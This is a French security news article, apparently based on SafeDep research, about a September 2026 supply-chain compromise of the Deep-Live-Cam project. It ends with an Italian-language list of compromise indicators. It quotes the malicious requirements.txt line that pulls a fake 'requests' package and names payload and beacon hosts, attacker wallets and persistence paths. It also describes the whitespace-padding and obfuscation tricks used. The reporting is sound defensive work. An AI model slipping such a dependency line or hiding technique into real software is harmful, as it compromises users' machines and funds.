Quatre cent trente-quatre blancs. C'est là qu'un attaquant s'est caché, dans un seul fichier setup.pyle code capable de transformer l'un des outils deepfake les plus populaires de GitHub en un voleur de cryptomonnaie silencieux. Deep-Live-Cam, une application open source permettant d'échanger des visages en temps réel avec plus de 96 600 étoiles, a été compromise pendant neuf heures et trente-neuf minutes les 8 et 9 septembre 2026. Cela a suffi à infecter un certain nombre de machines impossibles à quantifier avec certitude – et c'est précisément cette incertitude, plutôt que la technique elle-même, qui constitue le véritable problème pour ceux qui doivent évaluer les dégâts.
Une fenêtre de neuf heures, ouverte par un compte compromis
La reconstruction publiée par les chercheurs de SafeDep, spécialisés dans la sécurité de la supply chain open source, est quasiment chronologique. Le 5 septembre, l'attaquant crée un compte sur GitHub appelé pypls et y publie un référentiel simplement nommé requests — une tentative de confusion visuelle avec la bibliothèque Python du même nom, parmi les plus téléchargées au monde. Trois jours plus tard, le 8 septembre à 15:58:54 UTC, un commit (hash 7895c547) est poussé directement vers la branche principale de Deep-Live-Cam, modifiant dix-huit entrées dans le fichier requirements.txt. La ligne clé est la suivante :
requests @ git+https://github.com/pypls/requests.gitAvec une seule ligne, chaque installation du projet arrête de télécharger la bibliothèque Requests d'origine et commence à cloner le référentiel de l'attaquant, tout en conservant des métadonnées trompeuses pointant vers le projet légitime. La découverte a été rapide : à 01:26:18 UTC le 9 septembre, un chercheur communautaire, identifié comme fred-cardososignale la dépendance présumée. Le responsable réagit rapidement, annulant le changement avec le commit 55d306d5 à 01:37:35 et, deux minutes plus tard, annonçant publiquement qu'il avait détecté « un accès anormal au compte malgré une authentification active à deux facteurs » et qu'il avait alterné les informations d'identification et les clés.
Le vecteur d'accès initial reste un angle mort : le commit n'est pas signé, ce qui rend difficile de déterminer si l'attaquant a volé un token, une clé SSH compromise ou une session piratée. La seule chose certaine est que le 2FA à lui seul n’a pas suffi à stopper l’attaque.
L'art de cacher le code : espaces et idéogrammes
La partie la plus instructive de l'attaque, d'un point de vue technique, concerne la façon dont la charge utile malveillante a été cachée à l'intérieur du faux package. requests. Dans le dossier setup.pyimmédiatement après l'instruction import sysl'attaquant a inséré 434 caractères d'espace consécutifs sur la même ligne, poussant le code réellement exécuté bien au-delà de la portée de visibilité de tout éditeur ou outil de révision standard. Quiconque ouvrait le fichier avec une visionneuse normale ne verrait que des lignes vides.
À cela s’ajoute un deuxième niveau d’obscurcissement : des variables dont les noms sont en caractères chinois et japonais (parmi les exemples documentés par SafeDep, des séquences telles que « 一時1 », « シード5 », « 队列102 »), choisies non pas tant pour cacher le sens que pour augmenter le bruit visuel et gêner l’analyse statique automatisée. Le code réel, décodé à partir de Base64 et décompressé avec zlib, a été exécuté pendant la phase de construction de pip – donc avant même la fin de l'installation de Deep-Live-Cam, et que l'utilisateur ait ou non lancé l'application.
La charge utile : un clipper multiplateforme conforme
Une fois exécutée, la charge utile a installé un pirate de presse-papier classique pour les crypto-monnaies, mais mis en œuvre avec un soin technique supérieur à la moyenne. Le malware surveillait le presse-papiers du système toutes les 0,3 secondes, appliquant des expressions régulières pour reconnaître les adresses de portefeuille et – détail peu évident – les validant correctement avant leur remplacement : Base58Check pour Bitcoin et Tron, Bech32/Bech32m pour les adresses SegWit natives de Bitcoin, sommes de contrôle Keccak-256 conformes à la norme EIP-55 pour Ethereum et validation Base58 de 32 octets pour Solana. Un niveau d’attention qui réduit drastiquement le risque de substitutions ratées ou détectables d’un seul coup d’œil par la victime.
Les adresses des attaquants identifiées par SafeDep couvrent tous les principaux réseaux : deux adresses Bitcoin anciennes, une SegWit et une Taproot, une adresse Ethereum, une Tron et une Solana – une diversification qui suggère un opérateur habitué à monétiser sur plusieurs chaînes en même temps.
Pour survivre aux redémarrages, le malware se comportait différemment selon le système d'exploitation. Sous Windows, il a écrit une entrée SysHelper dans la clé de registre HKCUSoftwareMicrosoftWindowsCurrentVersionRunpointant vers un script dans %LOCALAPPDATA%WindowsHelpersys.pyw effectué de préférence avec pythonw.exe pour rester invisible sans fenêtre de console. Sur macOS, il a créé un LaunchAgent à la place (com.user.syshelper.plist) avec RunAtLoad Et KeepAlive actif, visant à ~/Library/Application Support/HowToFind/sys.py.
Une fenêtre qu'aucun retour ne peut fermer complètement
C’est là que réside le nœud le plus inconfortable de l’histoire : l’annulation du commit malveillant a supprimé la dépendance empoisonnée du code source, mais n’a rien éliminé des systèmes déjà compromis au cours des neuf heures et trente-neuf minutes d’exposition. Toute personne ayant installé ou mis à jour Deep-Live-Cam au cours de cette fenêtre de temps continuera probablement à avoir le clipper actif en arrière-plan, en attendant que l'environnement Python soit réinstallé ou que quelqu'un localise manuellement les clés de persistance. SafeDep a été clair sur ce point : l'analyse reconstitue avec certitude le fonctionnement et les capacités du malware, non pas le nombre de machines réellement infectées ni les pertes économiques réelles – limite intrinsèque de toute investigation médico-légale qui part du code statique et non de la télémétrie des victimes.
Avec près de 100 000 étoiles sur GitHub, Deep-Live-Cam bénéficie d’une base d’installation potentiellement énorme, souvent sur les machines d’utilisateurs individuels, de créateurs ou de petits studios qui ne disposent probablement pas d’outils de surveillance EDR comparables à ceux d’un environnement d’entreprise – la cible idéale pour une attaque conçue pour rester silencieuse le plus longtemps possible.
Ce qu'il enseigne aux défenseurs (et aux mainteneurs)
- Dépendances
git+https://dansrequirements.txtils méritent le même niveau de suspicion qu'un binaire téléchargé à partir d'une source inconnue : ils contournent les contrôles d'intégrité typiques de PyPI et permettent à celui qui a écrit cette ligne de remplacer silencieusement un package fiable. - Le 2FA classique n'est pas suffisant pour protéger les comptes des responsables avec ce niveau de visibilité : des clés matérielles ou des mots de passe résistants au phishing sont nécessaires, ainsi que des politiques qui empêchent les poussées directes vers les branches principales sans examen, même pour ceux qui disposent d'autorisations d'administrateur.
- Les scanners de code de sécurité doivent automatiquement signaler les longueurs de ligne anormales (injection d'espaces) et la présence massive d'identifiants non-ASCII dans les fichiers critiques tels que
setup.pyles deux modèles avec un faible coût de détection et une valeur prédictive élevée. - Toute personne ayant installé ou mis à jour Deep-Live-Cam entre le 8 et le 9 septembre 2026 doit considérer son système comme potentiellement compromis, vérifier la présence des clés de persistance indiquées dans les IoC et alterner tous les portefeuilles dont les transactions sont passées par le presse-papiers du système au cours de cette période.
Indicateurs de compromis
[Timeline UTC]
2026-09-05 Creazione account GitHub "pypls" e repo fake "requests"
2026-09-08 15:58:54 Commit malevolo 7895c547 su Deep-Live-Cam (main branch)
2026-09-09 01:26:18 Segnalazione community (fred-cardoso)
2026-09-09 01:37:35 Revert (commit 55d306d5)
2026-09-09 01:39:12 Annuncio maintainer: account compromesso, rotazione credenziali
[Repository e dipendenza malevola]
Repo fake: github.com/pypls/requests
Riga requirements.txt: requests @ git+https://github.com/pypls/requests.git
Delivery payload: graph.org/coding-utf-8-09-05-2
Beacon/contatore: abacus.jasoncameron.dev/hit/duff.com/info
[Hash SHA-256]
setup.py malevolo: b34818f9208133c2fd2d0814162c6f3c59e35df518e3c95f998890f7e4a5e6f4
Payload clipper decodificato: 73cb3c0e9afd9db32a392655ff58be5cc95b24fbc0f412202853dc0161dd0561
[Wallet degli attaccanti]
BTC (legacy): 1LeCcPytFxpeo6Leujc4USuCwec9oDFa92
BTC (legacy): 3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB
BTC (SegWit): bc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3
BTC (Taproot): bc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6
ETH: 0x58d28b72c54A5b645201900c8aA8550ad7f7d90b
TRON: TDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ
SOL: 6ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu
[Persistenza]
Windows: HKCUSoftwareMicrosoftWindowsCurrentVersionRunSysHelper
-> %LOCALAPPDATA%WindowsHelpersys.pyw
macOS: ~/Library/LaunchAgents/com.user.syshelper.plist
-> ~/Library/Application Support/HowToFind/sys.pySource principale : Analyse technique SafeDep de la compromission de la chaîne d'approvisionnement Deep-Live-Cam.